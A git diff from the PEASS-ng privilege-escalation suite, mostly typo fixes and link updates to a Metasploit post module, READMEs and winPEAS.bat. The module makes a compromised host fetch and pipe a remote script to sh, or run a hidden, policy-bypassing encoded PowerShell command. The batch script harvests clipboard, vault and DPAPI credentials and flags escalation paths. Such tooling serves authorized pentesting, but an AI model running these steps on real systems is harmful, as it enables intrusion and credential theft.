You can configure this module to download the encrypted/encoded PEASS script from this metasploit instance via HTTP instead of uploading it. You can configure this module to download the encrypted/encoded PEASS script from this metasploit instance via HTTP instead of uploading it.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Carlos Polop <@carlospolopm>' 'Carlos Polop <@hacktricks_live>'
], ],
'Platform' => %w{ bsd linux osx unix win }, 'Platform' => %w{ bsd linux osx unix win },
'SessionTypes' => ['shell', 'meterpreter'], 'SessionTypes' => ['shell', 'meterpreter'],
@@ -52,18 +52,18 @@ class MetasploitModule < Msf::Post
end end
def run def run
ps_var1 = rand(36**5).to_s(36) #Winpeas PS needed variable ps_var1 = rand(36**5).to_s(36) # Winpeas PS needed variable
# Load PEASS script in memory # Load PEASS script in memory
peass_script = load_peass() peass_script = load_peass()
print_good("PEASS script successfully retreived.") print_good("PEASS script successfully retrieved.")
# Obfuscate loaded PEASS script # Obfuscate loaded PEASS script
if datastore["PASSWORD"].length > 1 if datastore["PASSWORD"].length > 1
# If no Windows, check if openssl exists # If no Windows, check if openssl exists
if !session.platform.include?("win") if !session.platform.include?("win")
openssl_path = cmd_exec("command -v openssl") openssl_path = cmd_exec("command -v openssl")
raise 'openssl not found in victim, unset the password of the module!' unless openssl_path.include?("openssl") raise 'openssl not found on victim, unset the password of the module!' unless openssl_path.include?("openssl")
end end
# Get encrypted PEASS script in B64 # Get encrypted PEASS script in B64
@@ -82,7 +82,7 @@ class MetasploitModule < Msf::Post
# As the PS function is only capable of decrypting readable strings # As the PS function is only capable of decrypting readable strings
# in Windows we encrypt the B64 of the binary and then load it in memory # in Windows we encrypt the B64 of the binary and then load it in memory
# from the initial B64. Then: original -> B64 -> encrypt -> B64 # from the initial B64. Then: original -> B64 -> encrypt -> B64
aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) #Base64 before encrypting it aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) # Base64 before encrypting it
peass_script_64 = aes_enc_peass_ret["encrypted"] peass_script_64 = aes_enc_peass_ret["encrypted"]
key_b64 = aes_enc_peass_ret["key_b64"] key_b64 = aes_enc_peass_ret["key_b64"]
iv_b64 = aes_enc_peass_ret["iv_b64"] iv_b64 = aes_enc_peass_ret["iv_b64"]
@@ -97,7 +97,7 @@ class MetasploitModule < Msf::Post
# If no Windows, check if base64 exists # If no Windows, check if base64 exists
if !session.platform.include?("win") if !session.platform.include?("win")
base64_path = cmd_exec("command -v base64") base64_path = cmd_exec("command -v base64")
raise 'base64 not found in victim, set a 32B length password!' unless base64_path.include?("base64") raise 'base64 not found on victim, set a 32B length password!' unless base64_path.include?("base64")
end end
# Encode PEASS script # Encode PEASS script
@@ -137,7 +137,7 @@ class MetasploitModule < Msf::Post
upload_file(temp_path, file.path) upload_file(temp_path, file.path)
print_good("Uploaded") print_good("Uploaded")
#Start the cmd, prepare to read from the uploaded file # Start the cmd, prepare to read from the uploaded file
if session.platform.include?("win") if session.platform.include?("win")
cmd = "$ProgressPreference = 'SilentlyContinue'; $#{ps_var1} = Get-Content -Path #{temp_path};" cmd = "$ProgressPreference = 'SilentlyContinue'; $#{ps_var1} = Get-Content -Path #{temp_path};"
last_cmd = "del #{temp_path};" last_cmd = "del #{temp_path};"
@@ -146,7 +146,7 @@ class MetasploitModule < Msf::Post
last_cmd = " ; rm #{temp_path}" last_cmd = " ; rm #{temp_path}"
end end
# Instead of writting the file to disk, download it from HTTP # Instead of writing the file to disk, download it from HTTP
else else
last_cmd = "" last_cmd = ""
# Start HTTP server # Start HTTP server
@@ -159,13 +159,13 @@ class MetasploitModule < Msf::Post
url_download_peass = http_protocol + http_ip + http_port + http_path url_download_peass = http_protocol + http_ip + http_port + http_path
print_good("Listening in #{url_download_peass}") print_good("Listening in #{url_download_peass}")
# Configure the download of the scrip in Windows # Configure the download of the script in Windows
if session.platform.include?("win") if session.platform.include?("win")
cmd = "$ProgressPreference = 'SilentlyContinue';" cmd = "$ProgressPreference = 'SilentlyContinue';"
cmd += get_bypass_tls_cert() cmd += get_bypass_tls_cert()
cmd += "$#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;" cmd += "$#{ps_var1} = Invoke-WebRequest \"#{url_download_peass}\" -UseBasicParsing | Select-Object -ExpandProperty Content;"
# Configure the download of the scrip in unix # Configure the download of the script in Unix
else else
cmd = "curl -k -s \"#{url_download_peass}\"" cmd = "curl -k -s \"#{url_download_peass}\""
curl_path = cmd_exec("command -v curl") curl_path = cmd_exec("command -v curl")
@@ -191,14 +191,14 @@ class MetasploitModule < Msf::Post
cmd_utf16le = cmd.encode("utf-16le") cmd_utf16le = cmd.encode("utf-16le")
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "") cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"]) tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"].to_i)
# If unix, then, suppose linpeas was loaded # If Unix, then, suppose linpeas was loaded
else else
cmd += "| #{decode_linpeass_cmd}" cmd += "| #{decode_linpeass_cmd}"
cmd += "| sh -s -- #{datastore['PARAMETERS']}" cmd += "| sh -s -- #{datastore['PARAMETERS']}"
cmd += last_cmd cmd += last_cmd
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"]) tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"].to_i)
end end
print "\n#{tmpout}\n\n" print "\n#{tmpout}\n\n"
@@ -220,6 +220,20 @@ class MetasploitModule < Msf::Post
print_good("PEASS script sent") print_good("PEASS script sent")
end end
def fetch(uri_str, limit = 10)
raise 'Invalid URL, too many HTTP redirects' if limit == 0
response = Net::HTTP.get_response(URI(uri_str))
case response
when Net::HTTPSuccess then
response
when Net::HTTPRedirection then
location = response['location']
fetch(location, limit - 1)
else
response.value
end
end
def load_peass def load_peass
# Load the PEASS script from a local file or from Internet # Load the PEASS script from a local file or from Internet
peass_script = "" peass_script = ""
@@ -230,7 +244,7 @@ class MetasploitModule < Msf::Post
raise 'Invalid URL' unless target.scheme =~ /https?/ raise 'Invalid URL' unless target.scheme =~ /https?/
raise 'Invalid URL' if target.host.to_s.eql? '' raise 'Invalid URL' if target.host.to_s.eql? ''
res = Net::HTTP.get_response(target) res = fetch(target)
peass_script = res.body peass_script = res.body
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500 raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
@@ -245,7 +259,7 @@ class MetasploitModule < Msf::Post
end end
def aes_enc_peass(peass_script) def aes_enc_peass(peass_script)
# Encrypt the PEASS script with aes # Encrypt the PEASS script with AES (CBC Mode)
key = datastore["PASSWORD"] key = datastore["PASSWORD"]
iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv
@@ -319,7 +333,7 @@ function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encryp
$csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read) $csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$srDecrypt = new-object System.IO.StreamReader($csDecrypt) $srDecrypt = new-object System.IO.StreamReader($csDecrypt)
#Write all data to the stream. # Write all data to the stream.
$plainText = $srDecrypt.ReadToEnd() $plainText = $srDecrypt.ReadToEnd()
$srDecrypt.Close() $srDecrypt.Close()
$csDecrypt.Close() $csDecrypt.Close()

View File

@@ -3,7 +3,7 @@
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML. These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
```python3 ```python3
python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json> python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf> python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
python3 json2html.py </path/to/peass.json> </path/to/peass.html> python3 json2html.py </path/to/peass.json> </path/to/peass.html>
``` ```
@@ -38,7 +38,7 @@ There is a **maximun of 3 levels of sections**.
} }
], ],
"infos": [ "infos": [
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
] ]
}, },
"infos": [] "infos": []
@@ -65,7 +65,7 @@ There is a **maximun of 3 levels of sections**.
} }
], ],
"infos": [ "infos": [
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits" "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
] ]
}, },
"infos": [] "infos": []
@@ -74,6 +74,8 @@ There is a **maximun of 3 levels of sections**.
There can also be a `<Third level Section Name>` There can also be a `<Third level Section Name>`
If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS
# TODO: # TODO:
- **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!** - **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!**

View File

@@ -2,21 +2,19 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png)
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)** Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
## Quick Start ## Quick Start
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**. Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
## WinPEAS .exe and .bat ## WinPEAS Flavours
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat) - [Link to WinPEAS C# .exe project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks** - **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
- [Link to WinPEAS .ps1 project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASps1)
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
## Please, if this tool has been useful for you consider to donate
[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.patreon.com/peass)
## PEASS Style ## PEASS Style
@@ -26,4 +24,4 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
By Polop<sup>(TM)</sup> By Polop

View File

@@ -2,9 +2,9 @@
![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png) ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/images/winpeas.png)
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) ### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)
@@ -129,10 +129,6 @@ This is the kind of outpuf that you have to look for when usnig the winPEAS.bat
[More info about icacls here](https://ss64.com/nt/icacls.html) [More info about icacls here](https://ss64.com/nt/icacls.html)
## Please, if this tool has been useful for you consider to donate
[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.patreon.com/peass)
## Advisory ## Advisory
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

View File

@@ -10,6 +10,14 @@ REM Registry scan of other drives besides
REM /////true or false REM /////true or false
SET long=false SET long=false
REM Check if the current path contains spaces
SET "CurrentFolder=%~dp0"
IF "!CurrentFolder!" NEQ "!CurrentFolder: =!" (
ECHO winPEAS.bat cannot run if the current path contains spaces.
ECHO Exiting.
EXIT /B 1
)
:Splash :Splash
ECHO. ECHO.
CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m" CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m"
@@ -52,10 +60,10 @@ CALL :ColorLine " %E%41mUse it at your own networks and/or with the network ow
ECHO. ECHO.
:SystemInfo :SystemInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
systeminfo systeminfo
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -174,7 +182,7 @@ CALL :T_Progress 1
:UACSettings :UACSettings
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings" CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -225,7 +233,7 @@ CALL :T_Progress 1
:InstalledSoftware :InstalledSoftware
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE" CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
ECHO. ECHO.
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\" reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
@@ -236,7 +244,7 @@ CALL :T_Progress 2
:RemodeDeskCredMgr :RemodeDeskCredMgr
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager" CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -244,7 +252,7 @@ CALL :T_Progress 1
:WSUS :WSUS
CALL :ColorLine " %E%33m[+]%E%97m WSUS" CALL :ColorLine " %E%33m[+]%E%97m WSUS"
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit) ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://" reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -252,7 +260,7 @@ CALL :T_Progress 1
:RunningProcesses :RunningProcesses
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES" CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
ECHO. [i] Something unexpected is running? Check for vulnerabilities ECHO. [i] Something unexpected is running? Check for vulnerabilities
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
tasklist /SVC tasklist /SVC
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -273,7 +281,7 @@ CALL :T_Progress 3
:RunAtStartup :RunAtStartup
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP" CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^ ::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
@@ -297,7 +305,7 @@ CALL :T_Progress 2
:AlwaysInstallElevated :AlwaysInstallElevated
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?" CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;) ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
ECHO. ECHO.
@@ -361,7 +369,7 @@ CALL :T_Progress 1
:BasicUserInfo :BasicUserInfo
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
ECHO. ECHO.
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER" CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
net user %username% net user %username%
@@ -404,7 +412,7 @@ CALL :T_Progress 1
:CurrentClipboard :CurrentClipboard
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD" CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
ECHO. [i] Any password inside the clipboard? ECHO. [i] Any passwords inside the clipboard?
powershell -command "Get-Clipboard" 2>nul powershell -command "Get-Clipboard" 2>nul
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -435,7 +443,7 @@ ECHO.
:ServiceBinaryPermissions :ServiceBinaryPermissions
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS" CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do ( for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO. for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
) )
@@ -444,7 +452,7 @@ CALL :T_Progress 1
:CheckRegistryModificationAbilities :CheckRegistryModificationAbilities
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY" CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -453,7 +461,7 @@ CALL :T_Progress 1
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS" CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe' ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
ECHO. [i] The permissions are also checked and filtered using icacls ECHO. [i] The permissions are also checked and filtered using icacls
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO. ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
@@ -468,7 +476,7 @@ ECHO.
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable" CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. ) for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
ECHO. ECHO.
CALL :T_Progress 1 CALL :T_Progress 1
@@ -477,7 +485,7 @@ CALL :T_Progress 1
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS" CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
ECHO. ECHO.
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT" CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
cmdkey /list cmdkey /list
ECHO. ECHO.
CALL :T_Progress 2 CALL :T_Progress 2
@@ -485,14 +493,14 @@ CALL :T_Progress 2
:DPAPIMasterKeys :DPAPIMasterKeys
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS" CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
